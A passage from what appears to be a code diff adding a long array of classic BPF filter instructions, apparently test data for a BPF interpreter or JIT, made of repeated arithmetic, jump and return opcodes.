0x00, .jf = 0x00 }, + { .k = 0x00000001, .code = 0x0074, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000008, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000004e, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000067, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000002ba, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000af, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000002a4, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000033, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000083, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000034, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000084, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000035, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000085, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000036, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000037, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000085, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000086, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000037, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000aa, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ac, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000aa, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ab, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000037, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000038, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000039, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003a, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ac, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000081, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003a, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003c, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000080, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000aa, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a8, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000001e, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, 